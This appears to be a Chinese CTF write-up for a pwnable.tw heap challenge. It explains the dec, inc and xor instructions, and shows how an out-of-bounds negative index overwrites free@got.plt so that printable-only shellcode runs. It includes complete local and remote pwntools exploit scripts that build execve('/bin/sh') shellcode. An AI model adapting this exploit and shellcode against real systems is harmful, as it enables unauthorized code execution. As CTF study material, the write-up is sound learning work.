学习与收获
认识了三个汇编指令,
dec
:将操作数的值减去1
。如,edx
的值原来为0x30
,执行dec edx
后,edx
的值变为0x2f
。
inc
:将操作数的值加上1
。如,eax
的值原来为0
,执行inc eax
后,eax
的值变为0x1
。
xor
:将两个操作数的值进行异或。异或,两个二进制数,对应位异或,同为0
,不同为1
。
对于32
位的寄存器edx
,dl
是其低8
位,即最后1
个字节;dh
是其高8
位,即第1
个字节。
对于syscall
和int 0x80
的不可见字符汇编代码编写,
syscall
的机器码是\x0f\x05
,int 0x80
的机器码是\xCD\x80
。这两个指令都是汇编指令,故其在内存中的存储形式是机器码。也就是说,如果0x08048020
这个地址里,存储的数据是0x80cd
,便可以理解为地址0x08048020
存储着int 0x80
这个指令。
整体思路
程序没有开pie保护,可能要用到shellcode。程序主要功能是实现chunk的创建,打印,删除。在创建chunk的时候,有一个索引越界漏洞,我们可以通过输入负数,覆盖note数组前面的内容为chunk_hook。
通过以上方法,覆盖free@got.plt
,为一个chunk_hook,该chunk_hook指向chunk的user_data。如果我们把shellcode布置在chunk中,那么在删除chunk的时候,便会执行shellcode。
该题考察了关于可见字符shellcode的编写,不能使用mov,syscall,int 0x80等,我便学习用push,pop,dec,inc,xor来编写32
位的execve的系统调用。
dec
汇编指令dec
是”decrement”的缩写,意思是将操作数的值减去1。在汇编语言中,dec
指令通常用于减少寄存器或内存位置中的数值。例如,如果有一个寄存器A的当前值为5,执行dec A
后,寄存器A的值将变为4。
dec
指令可以应用于不同的上下文和数据类型,具体行为可能因使用的CPU架构和汇编语言的变种而有所不同。在一些架构中,dec
可能只影响无符号整数,而在其他架构中,它可能适用于有符号整数。使用时需要参考特定处理器的指令集架构(ISA)文档。
inc
汇编指令inc
是”increment”的缩写,意思是将操作数的值增加1。这个指令通常用于寄存器或内存位置中的数值增加操作。
例如,如果有一个寄存器B的当前值为3,执行inc B
后,寄存器B的值将变为4。
与dec
指令类似,inc
的具体行为可能因使用的CPU架构和汇编语言的变种而有所不同。在某些架构中,inc
可能只影响无符号整数,而在其他架构中,它可能适用于有符号整数。使用时同样需要参考特定处理器的指令集架构(ISA)文档。
shellcode
#execve("/bin/sh",0,0) eax = 11 #ebx,ecx,edx /* 将'/bin//sh'的地址放到ebx中 push ebx push 0x68732f2f push 0x6e69622f push esp pop ebx push edx */ dec edx #edx-1 dec edx xor [eax+36], dl xor [eax+37], dl pop edx /* eax = 11 push ecx pop eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax */
|
exp
本地
from tools import *
p = remote("chall.pwnable.tw",10201) debug(p,0x080489EF,0x080489FD)
def add(index,content): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Name :",content) def delete(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index))
shellcode = ''' push ebx push 0x68732f2f push 0x6e69622f push esp pop ebx dec ecx dec edx dec edx dec edx dec edx dec edx dec edx dec edx dec edx dec edx inc edx dec edx xor [eax+56],dl xor [eax+57],dl pop edi pop edi pop eax inc edx inc edx inc edx inc edx inc edx inc edx inc edx inc edx inc edx inc edx dec edx inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax ''' shellcode = asm(shellcode) + b'\x3a\x77' add(-19,shellcode) delete(-19)
p.interactive()
|
远程
from tools import *
p = remote("chall.pwnable.tw",10201) debug(p,0x080489EF)
def add(index,content): p.sendlineafter("Your choice :",str(1)) p.sendlineafter("Index :",str(index)) p.sendlineafter("Name :",content) def delete(index): p.sendlineafter("Your choice :",str(3)) p.sendlineafter("Index :",str(index))
shellcode = ''' push ebx push 0x68732f2f push 0x6e69622f push esp pop ebx push edx dec edx dec edx xor [eax+36], dl xor [eax+37], dl pop edx push ecx pop eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax inc eax ''' shellcode = asm(shellcode) + b'\x33\x7e' add(-19,shellcode) delete(-19)
p.interactive()
|